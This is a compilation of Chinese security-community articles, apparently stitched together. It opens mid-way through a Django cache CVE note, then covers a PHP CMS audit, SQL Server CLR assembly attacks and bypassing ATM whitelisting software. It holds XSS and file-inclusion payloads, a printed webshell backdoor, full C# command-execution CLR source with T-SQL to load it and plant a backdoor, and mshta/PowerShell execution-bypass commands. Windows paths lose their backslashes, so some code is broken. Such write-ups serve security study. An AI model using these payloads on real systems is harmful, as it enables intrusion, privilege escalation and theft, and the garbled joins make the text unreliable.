readcachecontent(filename)
如何防御
在后期报告Django安全团队的过程中，Django官方认为这是一个问题，在询问是否有补丁提供之后，我给出的建议是对cache初始的文件名加入复杂唯一性元素，但是开发者们并不愿意对缓存增加任何元素，这个点上，P神给出的解释是“如无必要勿增实体”。最终得出来的结论是在manage.py
的check方法中增加对MEDIA_ROOT、STATIC_ROOT和STATICFILES_DIRS的检查，检查CACHE
LOCATION是否位于这三个路径之下，并且在官方FileBaseCached文档下面新增加安全警告。新增的补丁如下<https://github.com/django/django/commit/c36075ac1dddfa986340b1a5e15fe48833322372>。
文档将于3.2版本对FIlebasedCache进行警告，开发版的警告位于<https://docs.djangoproject.com/en/dev/topics/cache/#filesystem-caching>
中途，Django官方因为collection权限问题除了检查static路径的权限之外，着重对cache文件夹进行权限检查，并额外分配了CVE——
**CVE-2020-24584**
个人的建议是，在cache_page后面新增加参数key_prefix来混淆cache文件名，例如
@cache_page(60 * 60, key_prefix="obfuscating cache")
或者用其他形式的缓存存储。 | 社区文章 |
**前言**
在CNVD上看到一个CMS存在多种类型的漏洞，对于之前只能审计出SQL注入和XSS的我来说是个比较好的学习案例，于是从网上找到源码，本地搭建审计一波
**审计环境**
phpstudy(php 5.4.45+Apache+Mysql)
phpstorm + seay代码审计工具
Windows 7 64位
**代码审计**
个人习惯，安装完成后同样先看/install目录，看逻辑是否合理，有没有可能存在重装漏洞
使用`file_exits()`检查是否存在/install.lock.php文件，存在则exit退出，不存在重装漏洞。
接下来就从前台开始，先看入口文件index.php
require_once(dirname(__FILE__) . "/core/init.php");
// 预防XSS漏洞
foreach ($_GET as $k => $v) {
$_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
// 预处理搜索时的值，主要是防止sql的注入
if (isset($_GET['q'])) {
//搜索框为空鼠标点击显示15个热搜词
if (isset($_GET['act']) && $_GET['act'] == 'hot') {
if (trim($_GET['q']) == '') {
$sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
$res = $dbm->query($sql);
if (empty($res['error']) && is_array($res['list'])) {
foreach ($res['list'] as $k => $v) {
$res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
}
echo json_encode($res['list']);
exit;
} else {
die();
}
}
}
// 超出长度截取
if (strlen($_GET['q']) > 20) {
$_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
}
if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空，请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>');
if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) {
die('搜索词只允许下划线，数字，字母，汉字和空格，请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
}
文件开始是一些过滤代码，主要做了两个过滤。一个是把GET方式传入的值使用`htmlspecialchars`进行处理，另一个是使用`preg_match`匹配正则处理，限制输入只能是下划线，数字，字母，汉字和空格。
**前台文件包含**
继续往下看，看到seay扫描到的一个漏洞位置
跟进看具体代码
首先通过变量`$from_mobile`和`$tpl`赋值给$tmp_file构造成php文件名，然后判断文件是否存在，如果存在，则使用`require`包含该文件。
往上跟踪`$from_mobile`和`$tpl`的来源，`$from_mobile`是取一个全局变量的值，而`$tpl`是通过GET方式传入，没有做其他的限制，那么就可以控制文件名进行包含。
漏洞验证
在网站根目录下，创建一个phpinfo.php文件进行包含
index.php?tpl=../../phpinfo
但是这里限制了后缀是.php，这显然很鸡肋，都是php文件了，直接就能执行了，没必要再去包含了。除非当php版本小于5.3.4且没有开启`magic_quotes_gpc`时，可以使用%00截断，包含其他类型的文件。这里切换到5.2.17版本测试，可以尝试包含.jpg的文件。
漏洞验证
index.php?tpl=../../phpinfo.jpg%00
%00截断后成功包含，那么如果找到一个能上传图片的点，就能上传图片马，配合文件包含getshell。
**反射XSS**
第一处
/templates/m/search.php
直接判断参数q是否存在，存在就直接输出，没有做任何过滤，很明显的漏洞
/templates/m/search.php?q="><script>alert('xss')</script>
第二处
/templates/m/inc_head.php
这里同样判断参数q是否存在，存在就直接输出，没有做任何过滤
/templates/m/inc_head.php?q="><script>alert('xss')</script>
由于这两个文件都是模板文件，所以只要包含了这两个文件的地方，都会存在XSS
**隐藏后门**
/templates/m/content_list.php
当传入参数session的md5值为`9c224bc6b59179729b15e1dddcbb5c82`时，会执行一段copy函数构造的后门代码
实际执行的代码如下
copy(trim($_GET[url]),$_GET[cms]);
如果将参数url设置为`php://input`，参数cms设置为shell的文件名，然后POST传入webshell代码，即可在当前目录写入shell文件
漏洞验证
随后访问test.php
**后台任意文件读取**
/adm/template.php
在`m__show()`函数中，首先判断`$page['get']['filename']`是否是一个文件，如果是，则调用`helper类`中的`get_contents`方法
跟踪一下`get_contents()`方法
36-39行，使用while语句循环，将整个文件的内容读取到`$content`中，随后返回
回到template.php，看一下`$page['get']['filename']`的来源
`$page['get']`是通过GET方式传入的值，那么GET方式传入`filename`参数，即可控制文件名进行包含。那么只要调用`m__show`函数，就能包含任意文件。于是寻找`m__show`函数被调用的地方。
在43行使用`call_user_func`调用函数，而`$page['get']['m']`的值通过GET方式传入，当我们传入`m=show`时，即可调用`m__show`函数。
漏洞验证
综合以上两点，可以构造payload如下
/adm/template.php?m=show&filename=../../index.php
成功读取index.php文件的内容
**后台任意文件写入**
/adm/template.php
92行，当POST中存在`content`参数时，调用`file_put_contents`函数写入文件，写入文件名由POST传入`filename`参数进行控制，写入内容为`escape_stripslashes`方法处理过后的`content`参数
跟进`escape_stripslashes`方法
该方法中判断PHP版本小于5.4.0且gpc开启的情况下，调用`stripslashes`函数删除反斜杠，否则直接返回字符串
由于本地环境使用的php版本为5.4.45，所以`content`参数不会做任何处理，直接传入一句话。而`filename`参数前面会拼接/templates/default/目录，传入../跳转到根目录
漏洞验证
构造数据包在根目录写入shell文件
访问shell.php
**总结**
这次审计中包含了好几种漏洞类型，有的漏洞是平时比较少审计到的，对个人学习有不小帮助。由于是通过CNVD中的漏洞信息去审计已经存在的漏洞，找出对应的漏洞点，相对于直接挖掘是比较容易的。 | 社区文章 |
# 【技术分享】攻击SQL Server CLR程序集
|
##### 译文声明
本文是翻译文章，文章来源：netspi.com
原文地址：<https://blog.netspi.com/attacking-sql-server-clr-assemblies/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[ **兄弟要碟吗**](http://bobao.360.cn/member/contribute?uid=2874729223)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在这个博客中，我会扩展Nathan Kirk博客CLR系列的CLR组件攻击。 我将介绍如何创建，导入，导出和修改SQL
Server中的CLR程序集，以达到提升权限，执行系统命令和持久性等目的。我还将分享一些使用PowerUpSQL在Active
Directory环境中更大规模执行(批量)CLR攻击的技巧。
**什么是SQL Server中的自定义CLR程序集？**
为了这个博客可以更好的说明，我们将定义一个公共语言运行库（CLR）组件作为一个.NET的DLL（或一组DLL）可以导入到SQL服务器。一旦导入，DLL方法就可以链接到存储过程，并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL
Server本地功能的一个很好的方式，但自然也为攻击者创造了机会。
**如何为SQL Server定制一个自定义的CLR DLL?**
下面是根据Nathan
Kirk的操作和一些文章实现的利用微软C#执行系统命令的示例。你可以根据需要对代码作出修改，当你修改完毕后将文件保存至“c:tempcmd_exec.cs”。
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
现在我们使用csc.exe将“c:tempcmd_exec.cs”编译成dll。在默认情况下即使你没有安装Visual
Studio,csc.exe编译器是附带.NET框架的，我们使用下面的PowerShell命令来找到它。
Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname
如果你找到了csc.exe，你可以使用下面的命令将“c:tempcmd_exec.cs”编译成dll文件。
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs
**
**
**如何导入我的CLR DLL到SQL Server？**
****
要将dll导入SqlServer，需要SQL登录的权限为sysadmin，有CREATE ASSEMBLY权限或ALTER
ASSEMBLY权限。然后按照以下步骤注册dll并且将其链接到存储过程，以便使用TSQL执行cmd_exec方法。
以sysadmin身份登录到SqlServer，并用下面TSQL查询：
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
现在，你应该可以通过“msdb”数据库中的“cmd_exec”存储过程执行系统命令了，如下面的示例所示。
完成后你可以使用下面的sql语句删掉该过程和程序集
**如何将我的CLR DLL转换成一个十六进制字符串并在没有文件的情况下导入它?**
CLR程序集导入SQLServer时不必一定要引用一个dll文件，“CREATE ASSEMBLY”也接受一个十六进制的字符串表示CLR
DLL文件。下面是一个PowerShell脚本示例，演示了如何将你的“cmd_exec.dll”文件转换到sql命令中，它可以用来创建没有物理文件引用的程序集。
# Target file
$assemblyFile = "c:tempcmd_exec.dll"
# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:tempcmd_exec.txt
如果一切顺利“c:tempcmd_exec.txt”文件应该包含以下SQL语句。在该示例中，十六进制字符串已被截断，但是你的长度应该更长。
-- Select the MSDB database
USE msdb
-- Enable clr on the server
Sp_Configure 'clr enabled', 1
RECONFIGURE
GO
-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec];
GO
-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami'
GO
当你用sysadmin权限在SqlServer中运行“c:tempcmd_exec.txt”的sql语句时，输出应该如下所示：
**PowerUpSQL自动化**
你可以在使用PowerUpSQL之前，访问此[链接](https://github.com/NetSPI/PowerUpSQL/wiki)了解PowerUpSQL
我做了一个PowerUpSQL函数来调用“Create-SQLFileCLRDll”创建类似的DLL和TSQL脚本。
它还支持设置自定义的程序集名称，类名称，方法名称和存储过程名称。 如果没有指定设置，那么它们都是随机的。 以下是一个基本的命令示例：
PS C:temp> Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:temp
C# File: c:tempruncmd.csc
CLR DLL: c:tempruncmd.dll
SQL Cmd: c:tempruncmd.txt
以下是生成10个CLR DLL / CREATE ASSEMBLY SQL脚本的示例，在实验室中使用CLR组件时，可以派上用场。
1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }
**如何列出现有的CLR程序集和CLR存储过程？**
你可以使用下面的TSQL语句来查询验证你的CLR程序集是否正确设置，或者寻找现有的用户自定义的CLR程序集。
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
使用这个查询我们可以看到文件名、程序集名、程序集类名、程序集方法和方法映射到的存储过程。
如果你运行了我之前提供的“Create-SQLFileCLRDll”命令生成的10个TSQL查询，那么你应该在你的查询结果中看到“my_assembly”，你还将看到这些程序集相关的程序集信息。
**PowerUpSQL自动化**
我在PowerUpSQL中添加了一个名为“Get-SQLStoredProcedureCLR”的功能，它将迭代可访问的数据库，并提供每个数据库的程序集信息。
以下是一个命令示例：
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView
你还可以使用以下命令对所有域内的SQL Server执行此操作（前提是你拥有正确的权限）。
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
**映射程序参数**
攻击者不是唯一创建不安全程序集的人员。有时候开发人员会创建执行OS命令或者与操作系统进行资源交互的程序集。因此，定位和逆向这些程序集也是很有必要的，有时这些程序集会有权限提升的bug。例如，如果我们的程序集已经存在，我们可以尝试去确定一下它接受的参数和怎么使用它们。只是为了好玩，让我们使用下面的TSQL查询“cmd_exec”存储过程接受了哪些参数
SELECT pr.name as procname,
pa.name as param_name,
TYPE_NAME(system_type_id) as Type,
pa.max_length,
pa.has_default_value,
pa.is_nullable
FROM sys.all_parameters paINNER JOIN sys.procedures pr on pa.object_id = pr.object_idWHERE pr.type like 'pc' and pr.name like 'cmd_exec'
在这个例子中，我们可以看到它只接受一个名为“execCommand”的字符串参数。 针对存储过程的攻击者可能能够确定它可以用于执行OS命令。
**如何将SQL Server中存在的CLR程序集导出到DLL？**
在SqlServer中，我们还可以将用户定义的CLR程序集导出到dll。我们来谈谈从识别CLR程序集到获取CLR的源代码。首先，我们必须识别程序集，然后将它们导出到dll，并且对它们进行反编译以便进行源码分析（或修改为注入后门程序）。
**PowerUpSQL自动化**
在上面我们讨论了如何使用下面的PowerUpSQL命令列出CLR程序集。
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
它存在一个“ExportFolder”选项，我们可以设置它，这个功能将会把程序集dll导出到文件夹，以下是一个命令示例：
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp -Username sa -Password 'sapassword!' | Format-Table -AutoSize
如果你是域用户，并且权限是sysadmin，还可以使用下面的命令导出CLR DLL
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:temp | Format-Table -AutoSize
Dll可以在输出的文件夹中找到。脚本将基于每个服务器的名称、实例和数据库的名称动态构建文件夹结构。
然后你可以使用你喜欢的反编译器查看源代码。在过去一年中，我已经成为dnSpy的粉丝。阅读后面的内容你将知道这是因为什么。
**如何修改CLR DLL并覆盖已经导入SQL Server的程序集？**
以下简要介绍如何使用dnSpy反编译、查看、编辑、保存、和重新导入现有的SQL Server CLR
DLL,你可以在这里下载[dnSpy](https://github.com/0xd4d/dnSpy/releases)。
本次练习我们将修改从SQL Server导出的cmd_exec.dll
1.在dnSpy中打开cmd_exec.dll文件。在左侧面板中，向下选择，直到找到“cmd_exec”方法并选择它，你可以立马看到它的源码并寻找bug。
2.接下来，右键单击包含源代码的右侧面板，然后选择“Edit Method (C#) …”
3.编辑你想编辑的代码，在这个例子中，我添加了一个简单的“后门”，每次调用“cmd_exec”方法时，都会向“C:temp”目录中添加文件。示例代码和屏幕截图如下。
public static void cmd_exec(SqlString execCommand){
Process expr_05 = new Process();
expr_05.StartInfo.FileName = "C:\Windows\System32\cmd.exe";
expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
expr_05.StartInfo.UseShellExecute = true;
expr_05.Start();
expr_05.WaitForExit();
expr_05.Close();
Process expr_54 = new Process();
expr_54.StartInfo.FileName = "C:\Windows\System32\cmd.exe";
expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:\temp\clr_backdoor.txt", execCommand.Value);
expr_54.StartInfo.UseShellExecute = true;
expr_54.Start();
expr_54.WaitForExit();
expr_54.Close();
}
4.通过单击编译按钮保存修补的代码。然后从顶部菜单选择File、Save Module….然后点击确定
根据这篇[Microsoft](https://msdn.microsoft.com/en-us/library/system.reflection.module.moduleversionid.aspx)的文章，在每次编译CLR时，都会生成一个唯一的GUID并将其嵌入到文件头中，以便用来区分同一文件的两个版本。这被称为MVID（模块版本ID）。要覆盖已经导入到SQLServer的现有CLR，我们必须手动修改MVID。以下是一个概述。
1.在dnSpy中打开“cmd_exec”,如果它还没有被打开，向下选择PE部分并选择“#GUID”存储流。然后右键单击它，然后选择“Show Data
in Hex Editor”。
2.接下来，我们需要用任意值修改所选字节之一
3.从顶部菜单中选择文件，然后选择“Save Module…”
**PowerShell自动化**
你可以使用我之前提供的原始PowerShell命令，也可以使用下面的PowerUPSQL命令从新修改的“cmd_exec.dll”文件获取十六进制字节，并生成ALTER语句。
PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dll
VERBOSE: Target C# File: NA
VERBOSE: Target DLL File: .cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
C# File: NA
CLR DLL: .cmd_exec.dll
SQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
新的cmd_exec.txt 内容看起来应该像下面的语句
-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
ALTER语句用于替换现有的CLR而不是DROP和CREATE。 正如微软所说的那样：“ALTER
ASSEMBLY不会中断正在修改的程序集中当前会话里正在运行的代码。当前会话通过使用程序集的未更改位来完成执行。 所以，总而言之，什么都没有发生。
TSQL查询执行应该看起来像下面的截图:
要检查代码修改是否有效，请运行“cmd_exec”存储过程，并验证是否已创建“C:tempbackdoor.txt”文件。
**我可以使用自定义CLR升级SQL Server中的权限吗？**
答案是肯定的，但有一些苛刻的条件必须要满足。
如果你的SQL Server不是以sysadmin登录的，但具有CREATE或ALTER
ASSEMBLY权限，则可以使用自定义CLR获取sysadmin权限，该自定义CLR将在SQL
Server服务帐户（由sysadmin默认）。但是，要成功创建CLR程序集的数据库，必须将'is_trustworthy'标志设置为'1'并启用'clr
enabled'服务器设置。默认情况下，只有msdb数据库是可靠的，并且禁用“clr enabled”设置。
我从来没有看到明确分配给SQL登录的CREATE或ALTER
ASSEMBLY权限。但是，我已经看到应用程序SQL登录添加到“db_ddladmin”数据库角色，并且具有“ALTER ASSEMBLY”权限。
注意：SQL Server 2017引入了“clr strict security”配置。
Microsoft文档规定，需要禁用该设置以允许创建UNSAFE或EXTERNAL程序集。 | 社区文章 |
# 【技术分享】黑客如何破解ATM，2分钟顺走百万现金 （上）
|
##### 译文声明
本文是翻译文章，文章来源：embedi.com
原文地址：<https://embedi.com/files/white-papers/Hack-ATM-with-an-anti-hacking-feature-and-walk-away-with-1M-in-2-minutes.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**传送门**
[**【技术分享】黑客如何破解ATM，2分钟顺走百万现金
（下）**](http://bobao.360.cn/learning/detail/4560.html)
**
**
**介绍**
****
自动取款机由各种设备组成的，并且每种设备都具有自己的固件。应用程序控制是我们最感兴趣的ATM软件型保护方案。现在，虽然该保护方案在市场上随处可见，但是仍然有人能够成功攻陷ATM。因此，我们对这款软件针对ATM的保护机制非常感兴趣，以便进一步提高黑客窃取现金的难度。
**ATM**
****
在本文中，我们研究的主题是ATM的安全性。
我们将把ATM视为一个由计算机控制的保险箱。放入ATM的钱，被装入两个安全装置中：一个用于取款，另一个用于存款。计算机通过封闭式网络连接到银行卡处理服务器。当然，ATM的制造、安装和操作会涉及到许多人员。那么，这些人都有可能利用自己的访问权限来窃取ATM中的现金。
**内部的侵犯者：**
软件开发人员：在代码中留下后门和bug
承包商：将加密密钥交给攻击者
服务工程师：对硬件和软件组件动手脚，恶意使用密钥，玩忽职守（在保险箱打开的时候故意离开）
运钞车押运员：偷货币箱
**外部的侵犯者：**
银行客户：对纸币做手脚，取出部分已经存入ATM机的纸币。
没有专业知识的攻击者：盗窃ATM、运钞车押运员、社交工程
具有专业知识和机械工具的攻击者：破坏设备、访问保险箱、操纵存款槽
具有专业知识并且能够现场左右硬件和软件的攻击者：拆解、黑盒攻击、银行卡克隆、访问ATM内的PC
具有专业知识并且能够远程左右硬件和软件的攻击者：通过本地网络进行未经授权的访问、安装恶意软件、利用软件和操作系统的漏洞
我们的特长在于针对设备可编程组件的威胁分析。
在本文中，我们将分析如何利用ATM内置PC上的软件漏洞来发动攻击。利用这些漏洞，攻击者能够以该环境中的最高权限执行任意代码。在内置计算机上执行自己的代码的好处是，允许将命令发送到吐钞器，并且每次插入银行卡时都可以发送该命令。
但是，我们的代码与内置软件不同，省略了所有不相关的细节，例如输入PIN或查看余额等。它要做的只是吐钞，并且是立即吐钞。
演示视频：
**ATM的ISS规范**
****
确保ATM安全运行的关键之一是保护系统的完整性。信息安全系统（ISS）禁止任何修改系统或添加外部组件的尝试，包括：软件（可执行文件、软件安装包、脚本）和硬件（USB存储设备、CD/DVD设备）。这样做的目的是防止任何无关的代码在设备上运行。
该系统必须仅实现其自身的功能，并且始终如此。这听起来非常不错，但是现实中，仍存在很多方法可以将恶意软件上传到ATM电脑中：
**本地访问：**
连接USB总线，方法是弄掉相机，或在电线的位置打孔
打开ATM主体，并通过复制的服务密钥插入磁盘、U盘、无线键盘插头
**远程访问：**
从银行通过远程桌面上传恶意软件
利用为监控和管理设备而安装的网络服务中的漏洞
此外，访问控制也同样重要。对设备、进程、文件系统、注册表对象和其他元素的访问是由系统控制的，并且如果配置正确的话，攻击者在攻击的初始阶段只具有有限的权限。即使绕过了上述完整性控制，攻击者仍然需要进行提权才能访问关键的资源，例如吐钞器。
此外，市场上面也有一些旨在减轻运营ATM的银行的风险的产品。其中许多产品都是由知名的AV供应商提供的，已经开发的技术包括：支持签名、启发式、仿真器和脱壳功能的AV扫描软件；HIPS（主动保护、行为分析）；防火墙。鉴于这类设备具有特殊的安全性要求，所以这些产品还提供了更严格的安全对策，例如应用程序白名单和设备控制（通常称为完整性控制工具）以及辅助访问控制工具（与OS本机工具相关）
。
我们研究了其中一些ISS组件，并了解了它们的一些有趣的工作原理。下面，我们来考察一下作为这种产品的一员的卡巴斯基嵌入式系统安全（KESS）。
**KESS功能概述**
****
在其最低配置情况下，该解决方案仅执行系统完整性控制。完成该任务的有两个模块：
设备控制——控制USB存储设备（如闪存驱动器、外接HDD、MTP Media Player设备等）的连接
应用程序启动控制——控制系统中运行的代码。其中有些规则用于：
进程的运行和库的加载
脚本的运行和MSI软件包。通常情况下，对象是通过数字签名、哈希值和路径来进行标识的
KESS遵循“默认拒绝”策略：禁止所有未明确允许的内容。
此外，您还可以添加实时文件保护——防病毒功能。AV扫描软件将在访问文件时通过签名和启发式方法对文件进行检测。
有关该产品的更多信息，请参阅如下演示文稿：
<http://www.bts.md/BTS_files/Kaspersky%20Embedded%20Systems%20Security.pdf6>
**KESS的体系结构**
****
该系统分为两层：
内核模式：KESS驱动程序将在这个特权内核执行模式下运行
用户模式：介于用户和系统进程之间运行的KESS服务在这个模式下运行
图中的组件包括：
驱动程序KLAM.SYS，卡巴斯基实验室拦截器和活动监视器。它为文件系统注册一个过滤器，并在访问文件系统对象时获得对回调的控制权。注册将通知例程去创建进程和线程。因此，它的作用是在内核模式下执行系统范围的监视和控制。该驱动程序是应用程序启动控制和实时文件保护的一部分。
驱动程序KLFLTDEV.SYS，卡巴斯基实验室PNP设备过滤器，用于控制标示为“大容量存储”的PNP设备的使用情况；它属于设备控制的一部分。
驱动程序KLRAMDISK.SYS，卡巴斯基实验室虚拟RAM磁盘。
KlamMsgPort是驱动程序KLAM.SYS和进程KAVFSWP.EXE的消息通道。来自用户模式的各种请求将通过该通道传递给驱动程序。
KAVFS.EXE服务和KAVFSWP.EXE子进程。ISS的检测和解决方案的逻辑都集中在这里。将判决结果传递给驱动程序，从而决定允许或阻止受监视进程的操作（例如，加载DLL）
KAVFSWH.EXE服务进程：实现应用程序和外部代理之间的互连以实现进程内存的保护。
KAVFSGT.EXE服务进程：提供KESS管理功能。
**攻击KESS**
****
我们将尝试绕过该安全系统，并在机器上实现代码的提权，这样我们的代码就可以控制吐钞器了。根据该产品提供的解决方案的结构，我们的攻击策略分为以下几个阶段：
首先，获取本地访问权限，绕过设备控制，为在PC上输入我们的数据扫清障碍。我们将绕过过滤器（它会阻止第三方设备连接），并将我们的二进制文件和脚本放到主机上，以便进行下一步的工作。
然后，我们将绕过“应用程序启动控制”机制，在机器上运行我们的代码。
最后一步：我们将通过利用KESS漏洞，通过Windows访问控制系统提升我们的进程的权限。这将使我们能够随意访问系统的对象。
**绕过KESS**
****
**绕过设备控制**
KESS限制使用USB驱动器。如果该功能已启用并进行了正确的配置，则可阻止攻击者使用的USB工具。
但是，它是唯一一种可以控制的设备。
如果ATM的主机有一个物理上可以访问的CD驱动器，那就根本无法阻止攻击者从外部上传文件。另外，通过远程桌面访问也是一样的。
如果这些尝试没有成功，那么还有其他绕过方法，包括：
USB、PS/2键盘键盘仿真器，它们可用于：
VBS脚本或内置的Certutil实用程序将打印字符解码为二进制数据
作为十六进制编辑器的旧式DEBUG调试器
空闲的COM端口也可用于数据传输，并且可从cmd命令行获得
所以，有许多方法可以在机器上输入数据。将键盘添加到白名单是不可能的，因为这会令维护服务变得异常复杂。
**绕过启动控制**
****
KLAM.SYS驱动程序捕获可执行文件和脚本的启动，以及程序库的加载。
之后，它将其发送给KAVFSWP.Exe（根据指定的规则）进行检查。如果是外部的组件，则不允许使用。
**PowerShell**
****
在操作系统中存在许多内置的解释器，如WScript，尽管禁止执行任意脚本，但它们仍然是可以使用的。例如，可以这样做：
mshta.exe vbscript:close(eval(CreateObject(“Scripting.FileSystemObject”).OpenTextFile(“1.vbs”).ReadAll()))
这样，文件中的代码就会在解释器中执行，我们就可以完成读写文件和注册表项、启动进程等（请参阅Windows Script
Host）操作。虽然这很有趣，但是对于使用吐钞器来说，这是远远不够的。我们需要的是在本地运行代码。
PowerShell在这方面要更加灵活，因为它可以直接访问系统API。为了运行shellcode，可以调用VirtualAlloc、WriteProcessMemory和CreateThread，其实很简单。你可以用之前介绍过的相同方法来解决禁止执行脚本的问题：
powershell.exe Invoke-Expression $(Get-Content hello.ps1)
但是，PowerShell通常不会安装在Windows XP机器上。在这种情况下，您可以使用以下方法。
**带签名的可执行文件**
****
在默认情况下，机器会允许运行带有操作系统信任的数字签名的二进制文件。这适用于所有Windows组件。例如，您可以使用Microsoft签名的调试器将shellcode注入合法进程。也就是说，可以将NTSD调试器与Windows
XP一起使用；在所有版本的Windows中都有一个带有签名的调试库，即dbgeng.dll。
**NTVDM**
****
对于KESS来说，它并没有禁止运行DOS可执行文件（EXE，COM）。同时，人们发现，NTVDM也是一种提升权限的好方法。
<http://web.archive.org/web/20160309015106/archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html>
**超时**
****
最近，有人公布了针对KESS的超时攻击方法。该方式通过并行运行大量二进制实例来耗尽系统资源。这种攻击会令验证模块超载，从而使得针对启动进程的系统调用的检测超时，这样，就会允许进程启动而不必等待KESS的决定了。
